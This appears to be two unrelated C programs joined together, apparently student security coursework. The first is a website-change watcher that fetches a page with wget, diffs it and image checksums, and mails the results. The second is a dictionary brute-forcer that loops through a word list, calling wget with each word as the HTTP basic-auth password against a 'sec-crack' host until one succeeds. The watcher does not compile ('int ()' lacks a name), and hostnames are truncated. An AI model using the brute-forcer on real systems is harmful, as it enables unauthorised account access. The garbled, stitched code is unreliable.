#include<stdio.h>
#include<stdlib.h>

int ()
{

FILE *fin1;
FILE *fin2;
int flag=0;


while(1)
{
    
        system("wget -p http://www.cs.rmit.edu./students");

        system("cd www.cs.rmit.edu./");

    
    
   if(flag>0)
   {
    
    fin1=fopen("./watchtext/index.html","r");
    fin2=fopen("./watchtext/test2.txt","r");
    system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");
    system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");
    system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");
    system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");
    system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");
    system("rm ./www.cs.rmit.edu./test2.txt");
           
    fclose(fin2);
    fclose(fin1);   
   }    
  
    if(flag==0)
    {
     system("mkdir watchtext");     
     if((fin1=fopen("./watchtext/index.html","r"))==NULL)
     {
      system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");
      system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");
      
      flag++;
      }
     
   } 
    
  
  
   printf("Running every 24 hours");     
  sleep(86400); 
  
}
 system("rmdir ./watchtext");      
}       
       
       
       
       

 #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>

int main()
{
  char *wordptr = " word";
  FILE *fp;
  int syst = 1;
  char string1[80], string2[50];
  strcpy(string1, "wget --http-user= --http-passwd=");
  strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
  char words[30];
  fp = fopen("words", "r");
  while(wordptr != NULL)
  {
    wordptr = fgets(words, 30, fp);
    if (wordptr == NULL) exit(1);
    words [ strlen(words) - 1 ] = '\0';
    strcat(string1, words);
    strcat(string1, string2);
    printf("\n %s \n",string1);
    syst = system(string1);
    if (syst == 0)
    {
       exit(1);
    }
    strcpy(string1, "");
    strcpy(string1, "wget --http-user= --http-passwd=");
    printf("%s", words);
    
  }
}
